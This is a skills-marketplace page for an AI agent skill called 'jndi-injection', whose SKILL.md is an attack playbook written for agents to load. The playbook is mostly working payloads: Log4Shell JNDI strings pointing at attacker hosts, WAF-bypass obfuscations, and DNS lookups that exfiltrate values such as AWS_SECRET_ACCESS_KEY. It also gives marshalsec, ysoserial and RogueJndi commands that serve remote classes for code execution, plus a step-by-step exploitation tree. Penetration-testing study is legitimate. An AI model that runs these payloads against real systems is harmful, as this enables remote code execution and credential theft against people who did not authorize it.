Install
Works with every agent the skills CLI supports.
npx skills add https://github.com/yaklang/hack-skills --skill jndi-injection- 01
Install
Run the command in your project. The CLI asks which agents to install for.
- 02
Describe the task
Ask your agent for something this skill covers. It loads jndi-injection automatically when relevant.
- 03
Review the result
The agent follows the SKILL.md steps, scripts and references bundled with the skill.
SKILL.md
The instructions your agent reads when the skill is triggered.
SKILL: JNDI Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert JNDI injection techniques. Covers lookup mechanism abuse, RMI/LDAP class loading, JDK version constraints, Log4Shell (CVE-2021-44228), marshalsec tooling, and post-8u191 bypass via deserialization gadgets. Base models often confuse JNDI injection with general deserialization — this file clarifies the distinct attack surface.
0. RELATED ROUTING
- deserialization-insecure when JNDI leads to deserialization (post-8u191 bypass path)
- expression-language-injection when the JNDI sink is reached via SpEL or OGNL expression evaluation
1. CORE MECHANISM
JNDI (Java Naming and Directory Interface) provides a unified API for looking up objects from naming/directory services (RMI, LDAP, DNS, CORBA).
Vulnerability: when InitialContext.lookup(USER_INPUT) receives an attacker-controlled URL, the JVM connects to the attacker's server and loads/executes arbitrary code.
// Vulnerable code pattern:
String name = request.getParameter("resource");
Context ctx = new InitialContext();
Object obj = ctx.lookup(name); // name = "ldap://attacker.com/Exploit"
2. ATTACK VECTORS
RMI (Remote Method Invocation)
rmi://attacker.com:1099/Exploit
Attacker runs an RMI server returning a Reference object pointing to a remote class:
// Attacker's RMI server returns:
Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
// JVM downloads http://attacker.com/Exploit.class and instantiates it
LDAP
ldap://attacker.com:1389/cn=Exploit
Attacker runs an LDAP server returning entries with javaCodeBase, javaFactory, or serialized object attributes.
LDAP is preferred over RMI because LDAP restrictions were added later (JDK 8u191 vs 8u121 for RMI).
DNS (detection only)
dns://attacker-dns-server/lookup-name
Useful for confirming JNDI injection without RCE — triggers DNS query to attacker's authoritative NS.
3. JDK VERSION CONSTRAINTS AND BYPASS
| JDK Version | RMI Remote Class | LDAP Remote Class | Bypass |
|---|---|---|---|
| < 8u121 | YES | YES | Direct class loading |
| 8u121 – 8u190 | NO (trustURLCodebase=false) | YES | Use LDAP vector |
| >= 8u191 | NO | NO | Return serialized gadget object via LDAP |
| >= 8u191 (alternative) | NO | NO | BeanFactory + EL injection |
Post-8u191 Bypass: LDAP → Serialized Gadget
Instead of returning a remote class URL, the attacker's LDAP server returns a serialized Java object in the javaSerializedData attribute. The JVM deserializes it locally — if a gadget chain (e.g., CommonsCollections) is on the classpath, RCE is achieved.
# ysoserial JRMPListener approach:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
# Then JNDI lookup points to: rmi://attacker:1099/whatever
Post-8u191 Bypass: BeanFactory + EL
When Tomcat's BeanFactory is on the classpath, the LDAP response can reference it as a factory with EL expressions:
javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")
4. TOOLING
marshalsec — JNDI Reference Server
# Start LDAP server serving a remote class:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
# Start RMI server:
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://attacker.com/#Exploit" 1099
# The #Exploit refers to Exploit.class hosted at http://attacker.com/Exploit.class
JNDI-Injection-Exploit (all-in-one)
java -jar JNDI-Injection-Exploit.jar -C "command" -A attacker_ip
# Automatically starts RMI + LDAP servers with multiple bypass strategies
Rogue JNDI
java -jar RogueJndi.jar --command "id" --hostname attacker.com
# Provides RMI, LDAP, and HTTP servers with auto-generated payloads
5. LOG4J2 — CVE-2021-44228 (LOG4SHELL)
Mechanism
Log4j2 supports Lookups — expressions like ${...} that are evaluated in log messages. The jndi lookup triggers InitialContext.lookup():
${jndi:ldap://attacker.com/x}
Any logged string containing this pattern triggers the vulnerability — User-Agent, form fields, HTTP headers, URL paths, error messages.
Detection Payloads
${jndi:ldap://TOKEN.collab.net/a}
${jndi:dns://TOKEN.collab.net}
${jndi:rmi://TOKEN.collab.net/a}
# Exfiltrate environment info via DNS:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.TOKEN.collab.net}
${jndi:ldap://${hostName}.TOKEN.collab.net}
WAF Bypass Variants
Log4j2's lookup parser is very flexible:
${${lower:j}ndi:ldap://attacker.com/x}
${${upper:j}${upper:n}${upper:d}i:ldap://attacker.com/x}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/x}
${j${::-n}di:ldap://attacker.com/x}
${jndi:l${lower:D}ap://attacker.com/x}
${${env:NaN:-j}ndi${env:NaN:-:}ldap://attacker.com/x}
Split-Log Bypass (Advanced)
When WAF detects paired ${jndi:...} in a single request, split across two log entries:
# Request 1 (logged first):
X-Custom: ${jndi:ldap://attacker.com/
# Request 2 (logged second):
X-Custom: exploit}
If the application concatenates log entries before re-processing (e.g., aggregation pipelines), the combined ${jndi:ldap://attacker.com/exploit} triggers.
Real-World Case: Solr Log4Shell
# Confirm via DNSLog — Solr admin cores API:
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.TOKEN.dnslog.cn}
# DNS hit with Java version = confirmed Log4Shell in Solr
Injection Points to Test
User-Agent X-Forwarded-For Referer
Accept-Language X-Api-Version Authorization
Cookie values URL path segments POST body fields
Search queries File upload names Form field names
GraphQL variables SOAP/XML elements JSON values
Affected Versions
- Log4j2 2.0-beta9 through 2.14.1
- Fixed in 2.15.0 (partial), fully fixed in 2.17.0
- Log4j 1.x is NOT affected (different lookup mechanism)
6. OTHER JNDI SINKS (BEYOND LOG4J)
| Product / Framework | Sink |
|---|---|
| Spring Framework | JndiTemplate.lookup() |
| Apache Solr | Config API, VelocityResponseWriter |
| Apache Druid | Various config endpoints |
| VMware vCenter | Multiple endpoints |
| H2 Database Console | JNDI connection string |
| Fastjson | @type + JdbcRowSetImpl.setDataSourceName() |
7. TESTING METHODOLOGY
Suspected JNDI injection point?
├── Send DNS-only probe: ${jndi:dns://TOKEN.collab.net}
│ └── DNS hit? → Confirmed JNDI evaluation
│
├── Determine JDK version:
│ └── ${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
│
├── JDK < 8u191?
│ ├── Start marshalsec LDAP server with remote class
│ └── ${jndi:ldap://attacker:1389/Exploit} → direct RCE
│
├── JDK >= 8u191?
│ ├── LDAP → serialized gadget (need gadget chain on classpath)
│ ├── BeanFactory + EL (need Tomcat on classpath)
│ └── JRMPListener via ysoserial
│
└── WAF blocking ${jndi:...}?
└── Try obfuscation: ${${lower:j}ndi:...}
8. QUICK REFERENCE
# Safe confirmation (DNS only):
${jndi:dns://TOKEN.collab.net}
# LDAP RCE (JDK < 8u191):
${jndi:ldap://ATTACKER:1389/Exploit}
# Version exfiltration:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
# Log4Shell with WAF bypass:
${${lower:j}ndi:${lower:l}dap://ATTACKER/x}
# Start LDAP reference server:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER/#Exploit" 1389
# Post-8u191 — ysoserial JRMP:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
FAQ
What does the jndi-injection skill do?
JNDI injection playbook. Use when Java applications perform JNDI lookups with attacker-controlled names, especially via Log4j2, Spring, or any code path reaching InitialContext.lookup().
How do I install jndi-injection?
Run npx skills add https://github.com/yaklang/hack-skills --skill jndi-injection in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/jndi-injection/ (personal) or .claude/skills/jndi-injection/ (project).
Which AI agents can use jndi-injection?
Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.
Is jndi-injection safe to install?
No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.
Who maintains jndi-injection?
It is published by yaklang in yaklang/hack-skills. It has 3,604 recorded installs.
More from yaklang/hack-skills
hack
yaklang/hack-skills
Entry P0 primary router and operating doctrine for HackSkills. Use when the task involves web application testing, API security assessment, recon, vulnerability triage, exploit path planning, authorized pentest, code audit, source-leak mining, middleware audit, SOC triage, detection engineering, incident response, or choosing the right next category skill before any deep topic skill. Also use when the user mentions 安全工程师, 渗透测试, 红队, 蓝队, 代码审计, 源码泄露, SRC. Enforce impact-first testing, finish the current asset cluster before expanding, follow half-chains to real control, and require live verification of secrets.
android-pentesting-tricks
yaklang/hack-skills
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
recon-and-methodology
yaklang/hack-skills
Reconnaissance and methodology playbook. Use when mapping assets, discovering endpoints, fingerprinting technology, and building a structured testing plan for a new target.
sqli-sql-injection
yaklang/hack-skills
SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths.
code-obfuscation-deobfuscation
yaklang/hack-skills
Code obfuscation analysis and deobfuscation playbook. Use when reversing binaries protected by junk code, opaque predicates, self-modifying code, control flow flattening, VM protection, or string encryption.
xss-cross-site-scripting
yaklang/hack-skills
XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.
Popular security skills
azure-compliance
microsoft/azure-skills
Run Azure compliance and security audits with azqr plus Key Vault expiration checks. Covers best-practice assessment, resource review, policy/compliance validation, and security posture checks. WHEN: compliance scan, security audit, BEFORE running azqr (compliance cli tool), Azure best practices, Key Vault expiration check, expired certificates, expiring secrets, orphaned resources, compliance assessment.
minimal-run-and-audit
lllllllama/rigorpilot-skills
Rigor Run skill for README-first deep learning repo reproduction. Use when the task is specifically to capture or normalize evidence from the selected smoke test or documented inference or evaluation command and write standardized reprooutputs/ files, including patch notes when repository files changed. Do not use for training execution, initial repo intake, generic environment setup, paper lookup, target selection, hidden scientific-meaning changes, or end-to-end orchestration by itself.
seo-audit
coreyhaines31/marketingskills
When the user wants to audit, review, or diagnose SEO issues on their site. Also use when the user mentions "SEO audit," "technical SEO," "why am I not ranking," "SEO issues," "on-page SEO," "meta tags review," "SEO health check," "my traffic dropped," "lost rankings," "not showing up in Google," "site isn't ranking," "Google update hit me," "page speed," "core web vitals," "crawl errors," "indexing issues," "stuck on page 2," "striking distance keywords," "title tag rewrite," "low CTR," "local SEO," "Google Business Profile," or "map pack." Use this even if the user just says something vague like "my SEO is bad" or "help with SEO" — start with an audit. For building pages at scale to target keywords, see programmatic-seo. For adding structured data, see schema. For AI search optimization, see ai-seo.
firebase-security-rules-auditor
firebase/agent-skills
Audits Firebase (Firestore, Cloud Storage) security rules for vulnerabilities, privilege escalation, role bypasses, create vs update inconsistencies, resource exhaustion, type safety, size limits, and hasOnly ownership checks. Use when auditing/reviewing rules, running red-team rule assessments, or scoring against auditor checklists. Don't use for Firebase CLI (login, deploy), Auth, Crashlytics, Remote Config, or database queries.
audit
pbakaus/impeccable
Run technical quality checks across accessibility, performance, theming, responsive design, and anti-patterns. Generates a scored report with P0-P3 severity ratings and actionable plan. Use when the user wants an accessibility check, performance audit, or technical quality review.
competitors
coreyhaines31/marketingskills
When the user wants to create competitor comparison or alternative pages for SEO and buyer-facing use. Also use when the user mentions 'alternative page,' 'vs page,' 'competitor comparison,' 'comparison page,' '[Product] vs [Product],' '[Product] alternative,' 'competitive landing pages,' 'how do we compare to X,' 'competitor teardown,' 'audit our competitor pages,' 'are our comparison pages out of date,' or 'competitive asset audit.' Use this for any content that positions your product against competitors. Covers four formats: singular alternative, plural alternatives, you vs competitor, and competitor vs competitor. For auditing existing claims (not researching competitors from scratch, which is competitor-profiling; not technical SEO on these pages, which is seo-audit), use the asset audit here. For internal battle cards and sales-specific competitor docs, see sales-enablement.
